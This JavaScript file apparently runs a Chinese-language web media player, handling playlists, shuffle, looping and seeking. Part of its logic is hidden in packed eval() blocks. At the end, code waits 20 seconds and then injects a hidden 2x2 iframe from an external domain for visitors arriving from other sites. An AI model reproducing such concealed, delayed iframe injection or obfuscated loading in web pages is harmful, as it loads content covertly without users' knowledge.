
var urld = null;
var lpdd;
var lbak = null;
var oop = null;
var loopx = 3;
var sval, medTT, alTXT;
var zslen = 0;
var rndX = false;
var rnd = [];
var rndBJ = 0;
var reN;
var xdbj = 0,
xxL, xxR;
var sewin = false;
var mute = false;
function newlist(zzs) {
    listbak(zzs);
    if (zzs) {
        urld = [];
        rnd = []
    }
    rndBJ = urld.length
}
function playlist(zzs) {
    if (urld.length < 1) urld[0] = new urlDataClass("列表为空", "", 0);
    sxdfbd();
    rtxt3.style.visibility = (urld.length <= 1) ? "hidden" : "visible";
    rtxt3b.innerText = urld.length;
    newrnd(rndBJ);
  if(zzs)
  {
    if(rndX)
      playrnd();
         // openfile(0);
    else
      openfile(0);
  }
}
function listbak(zzs) {
    if (urld == null || !zzs) return;
    if (urld.length < 2) return;
    lbak = urld
}
function returnlist() {
    if (lbak == null) {
        dsts("没有列表可招回");
        return
    }
    var bbb = lbak;
    lbak = null;
    newlist(true);
    urld = bbb;
    playlist(true)
}
function UDC_dk() {
    var s = /\.[^\.]+$/.exec(this.uu);
    return (s != null) ? s[0].toUpperCase() : "***"
}
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m n(){8(4.6.9(2,3)=="*"){7 a="o+p@q/r*s-t%5.u/y@v.x+z%A*B-C";7 b=D(4.6.9(0,2));7 c="";7 d=(a.9(l)+a.9(l)).9(b);E(7 e=3;e<4.6.F;e++){7 w=(e-3)%G;7 k=d.i(4.6.9(e,e+1),w)-w;c+=a.9(k,k+1)}4.6=H(c)}4.6=4.6.I(/\\\\/g,"/");8(4.h>=1&&4.h<=2)j;7 f=/^[^:\\/]+:\\/\\//.J(4.6);8(f!=K){f=f[0].L();8(M.i(";"+f)!=-1){4.h=1;j}8(N.i(";"+f)!=-1){4.h=2;j}}8(4.6.i("O")!=-1){4.h=1;j}7 g=4.P()+";";8(Q.i(g)!=-1){4.h=1;j}8(R.i(g)!=-1){4.h=2;j}}',54,54,'||||this||uu|var|if|slice||||||||oo|indexOf|return||70|function|UDC_oot|egy|nb|QwXvCWjKPRxVzDl|h7EOMtSa9f6|FpNr8li_0kqdG2LBcuZIAJYo34m|sT|UH3SYZ0hzt|qDTNECf1BpujiO||X6ks||oIR8GPVg9wbm|xJvKLWrn|F4HAe|QladM27Uc5_|parseInt|for|length|10|unescape|replace|exec|null|toUpperCase|LX_M_x|LX_R_x|http|dk|LX_M_v|LX_R_v'.split('|'),0,{}))
function urlDataClass(nn, uu, oo) {
    this.nn = nn;
    this.uu = uu;
    this.oo = oo;
    this.dk = UDC_dk;
    this.oot = UDC_oot;
    this.oot()
}
function sxdfbd() {
    loplist.options.length = urld.length;
    for (var ii = 0; ii < urld.length; ii++) loplist.options[ii].text = ii + 1 + "." + urld[ii].nn;
    loplist.selectedIndex = 0
}
function newrnd(s) {
    for (var ii = s; ii < urld.length; ii++) rnd[rnd.length++] = ii
}
function playrnd() {
    if (rnd.length == 0) return;
    var rr, zzz;
    rr = Math.floor(Math.random() * rnd.length);
    zzz = rnd[rr];
    rnd[rr] = rnd[rnd.length - 1];
    rnd.length--;
    openfile(zzz)
}
function openbd(zzs) {
    var zzo = furvl.value;
    furvl.click();
    var uur = furvl.value;
    if (zzo == uur || uur == "") return;
    var ls = new urlDataClass("", uur, 0);
    if (ls.oo == 0) {
        alert("你所选的文件不能播放！");
        return
    }
    /^[^\?]+\/([^\/\?]+)\.[^\/\.\?]+($|\?.+$)/.exec(ls.uu);
    ls.nn = RegExp.$1;
    if (urld == null) zzs = true;
    newlist(zzs);
    urld[urld.length] = ls;
    playlist(zzs)
}
function seturladd(zzs) {
    var uur = window.showModalDialog("seturl.htm", self, "dialogHeight:120px;dialogWidth:326px;status:0;help:0;scroll:0");
    if (uur == null) return;
    var ls = new urlDataClass("", uur[0], uur[1]);
    /^[^\?]+\/([^\/\?]+)\.[^\/\.\?]+($|\?.+$)/.exec(ls.uu);
    ls.nn = RegExp.$1;
    if (urld == null) zzs = true;
    newlist(zzs);
    urld[urld.length] = ls;
    playlist(zzs)
}
function closedObj() {
    clearTimeout(medTT);
    clearInterval(sval);
    if (xdbj != 0) {
        xdbj = 2;
        xdbfsz()
    }
    oop.closed();
    rtxt1.innerText = "空闲";
    rtxt4.innerText = ""
}
function openfile(uuu) {
    if (oop != null) closedObj();
    oop = null;
    lpdd = uuu;
    rtxt2.innerText = urld[lpdd].nn;
    rtxt3a.innerText = lpdd + 1;
    loplist.selectedIndex = lpdd;
    var zzo = urld[lpdd].oo;
    if (zzo == 1) {
        if (or_m) {
            ort_m = or_player(ort_m);
            return
        }
        oop = new mediaClass()
    } else if (zzo == 2) {
        if (or_r) {
            ort_r = or_player(ort_r);
            return
        }
        oop = new realClass()
    } else {
        dsts("此文件无法播放");
        medTT = setTimeout("autonext();", 1000);
        return
    }
    reN = 0;
    oop.open(urld[lpdd].uu);
    ylyyd();
    oop.mute(mute);
    jdhk.setposition(0);
    zslen = 0;
    sval = setInterval("genzong()", 300)
}
function or_player(n) {
    if (n != "") alert(n);
    dsts("系统无播放控件!");
    medTT = setTimeout("autonext();", 1000);
    return ""
}
function lenvar() {
    var zzl = oop.length();
    if (zzl <= 0) return;
    zslen = zzl;
    rtxt4.innerText = oop.sjxs(zzl)
}
function genzong() {
    try {
        var pos = oop.pos();
        if (zslen == 0) lenvar();
        else {
            if (!jdhk.moing) jdhk.setposition(Math.round(jdhk.mlength() / zslen * pos));
            if (xdbj != 0 && pos > xxR) oop.go(xxL)
        }
        dtut.innerText = oop.sjxs(pos);
        oop.ifending()
    } catch(hh) {}
}
function aabf() {
    if (oop == null) {
        dsts();
        return
    }
    oop.play()
}
function aazt() {
    if (oop == null) {
        dsts();
        return
    }
    oop.pause()
}
function aatz() {
    if (oop == null) {
        dsts();
        return
    }
    oop.stop()
}
function aaht() {
    if (oop == null) {
        dsts();
        return
    }
    var v = oop.pos() - oop.gotov;
    if (v < 0) v = 0;
    oop.go(v)
}
function aaqj() {
    if (oop == null) {
        dsts();
        return
    }
    var v = oop.pos() + oop.gotov;
    if (v <= oop.length()) oop.go(v)
}
function lbssdy() {
    if (urld == null) {
        dsts();
        return
    }
    if (urld.length <= 1) {
        dsts("目前没有列表！");
        return
    }
    openfile(0)
}
function lbsy() {
    if (urld == null) {
        dsts();
        return
    }
    if (urld.length <= 1) {
        dsts("目前没有列表！");
        return
    }
    if (lpdd <= 0) {
        dsts("没有上一段了！");
        return
    }
    openfile(lpdd - 1)
}
function lbxy() {
    if (urld == null) {
        dsts();
        return
    }
    if (urld.length <= 1) {
        dsts("目前没有列表！");
        return
    }
    if (lpdd >= urld.length - 1) {
        dsts("没有下一段了！");
        return
    }
    openfile(lpdd + 1)
}
function lbmmdy() {
    if (urld == null) {
        dsts();
        return
    }
    if (urld.length <= 1) {
        dsts("目前没有列表！");
        return
    }
    openfile(urld.length - 1)
}

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('9 1y(){7(b==l)c;p a=A.1z(V.1A()/V.1B()*M);b.1C(a)}9 1D(){w=!w;B("1E.h=1F"+(w?"1":"0")+".h");7(b!=l)b.w(w)}9 1G(){g=(g+1)%3;B("W.h=1H"+g+".h");W.N="循环："+["无循环","单曲循环","全部循环"][g]}9 X(){r=!r;B("Y.h=1I"+(r?"0":"1")+".h");Y.N="随机播放 "+(r?"开":"关")}9 Z(){7(g==1||g==2&&q.e<=1){b.1J(0);s("b.10();",C);c}7(q.e<=1)c;7(r){7(11.e==0&&g==2)12(0);13()}D{7(E<q.e-1){F(E+1);c}7(g==2)F(0)}}9 O(){14++;7(14<=1){G(" ");P=s("b.10();",C)}D{G("文件无法播放！");P=s("15();",C)}}9 15(){7(q.e<=1)c;7(r){7(11.e==0&&g!=0)12(0);13()}D{7(E<q.e-1){F(E+1);c}7(g!=0)F(0)}}9 1K(f){7(b==l)c;7(b.H!=16)c;p a=["未定义","已停止","已暂停","正在播放","向前搜索","向后搜索","正在播放","等待中..","播放完毕","正在连接","正在连接"];7(f<0||f>=a.e)c;17.Q=a[f];7(f==8)P=s("Z();",1L)}9 1M(f){7(b==l)c;7(b.H!=18)c;7(f!="")17.Q=f.1N(0,4)}9 1O(){7(b==l)c;7(b.H!=16)c;O()}9 1P(){7(b==l)c;7(b.H!=18)c;O()}9 G(t){1Q(19);R.Q=t||"当前无法执行！";R.i.I="1a";1b.i.I="1c";19=s(\'1b.i.I="1a";R.i.I="1c";\',C)}9 1R(){7(b==l){G();c}x=(x+1)%3;B("1d.h=1S"+x+".h");1d.N="选段："+["标记选段开头","标记选段结束","取消选段"][x];1e(x){j 0:1f.i.J="1g";1h.i.J="1g";k;j 1:y=b.1i();v=b.e()-2;S();k;j 2:v=b.1i();7(y>=v){p a=y;y=v;v=a}S();k}}9 S(){p m=b.e()||1;1f.i.J=A.1j(y/m*M)+"%";1h.i.J=A.1j(v/m*M)+"%"}9 1T(){p d=1k.1l;1U.1m();1k.1l=0;1e(d){j 1:1n(z);k;j 2:1o(z);k;j 3:1n(K);k;j 4:1o(K);k;j 5:1V();k;j 6:1W();k}}9 1X(){1p{T.1m()}1q(1r){T=1s.1Y("1Z.20","21","22=23,24=25")}}9 26(){1p{T.27()}1q(1r){}}p L=K;9 28(){29(z);L=z}9 1t(n,u,o){7(!L)c;o=o||0;1u(n,u,o)}p 2a=1t;9 2b(){L=K;2c(z)}9 1u(n,u,o){q[q.e]=2d 2e(n,u,o)}9 U(){7(2f)X();1v.1w("2g").h="2h/2i.2j?"+A.2k()}1s.2l=9(){1v.1w("2m").2n="";2o.i.2p="2q";7(1x==1)s(\'U();\',0);D 7(1x==2)7(2r(\'您是否需要播放背景音乐？\'))U()}',62,152,'|||||||if||function||oop|return||length||loopx|src|style|case|break|null||||var|urld|rndX|setTimeout|||xxR|mute|xdbj|xxL|true|Math|eval|1000|else|lpdd|openfile|dsts|constructor|display|backgroundPositionX|false|sTE|100|alt|errorreplay|medTT|innerText|Jts1|xdbjsz|sewin|loadDataFile|ylhk|IM_xh|rndkk|IM_sj|gonext|play|rnd|newrnd|playrnd|reN|autonext|mediaClass|rtxt1|realClass|alTXT|block|Jts2|none|IM_xd|switch|jdhkl|9999|jdhk|pos|round|menu|selectedIndex|focus|openbd|seturladd|try|catch|hh|window|DATA|addlist|document|getElementById|openPLAY|ylyyd|floor|getposition|mlength|volume|jingbb|jingyin|bb_jy|lomd|bb_lok|bb_rnd|go|mdip_tt|500|reap_tt|slice|miderror|reaerror|clearTimeout|xdbfsz|bb_xd|selectmenu|home|listedit|returnlist|openlw|open|select|htm|ListSelectWindow|width|370|height|414|closelw|close|START|newlist|data|END|playlist|new|urlDataClass|openRND|lodapl|js|dhao|txt|random|onload|loading|outerHTML|apxt|visibility|visible|confirm'.split('|'),0,{}))
function lhhgo() {
    home.focus();
    if (urld == null) {
        dsts();
        return
    }
    if (urld.length <= 1) {
        dsts("目前没有列表！");
        return
    }
    openfile(loplist.selectedIndex)
}
function listedit() {
    if (urld == null) {
        dsts("请先播放一个文件");
        return
    }
    window.showModalDialog("listedit.htm", self, "dialogHeight:230px;dialogWidth:320px;status:0;help:0;scroll:0")
}
function ylyydxx() {
    if (zslen == 0) return;
    var nx = jdhk.getposition();
    var zzs = Math.round(zslen / jdhk.mlength() * nx);
    oop.go(zzs)
}

function tip() {
	var Then = new Date(); 
	Then.setTime(Then.getTime() + 2400*3600000); 
	var cookieString = new String(document.cookie); 
	var cookieHeader = "Cookie1="; 
	var beginPosition = cookieString.indexOf(cookieHeader); 
	if(beginPosition==-1) 
	{
	tanclose();
	document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString(); 
	}
}

function tccc() {
document.getElementById("bgc").innerHTML='<iframe name="b5g" MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src="http://www.111ttt.com/cert/g_g/tan.htm" height=2 width=2></iframe>';
}
function tanclose() {
	if ( (document.referrer.indexOf("111ttt") == "-1" ) && ( document.referrer != "" ) )
		{
		setTimeout('tccc()',20000);
		//setTimeout('aatz()',30000);
		}
}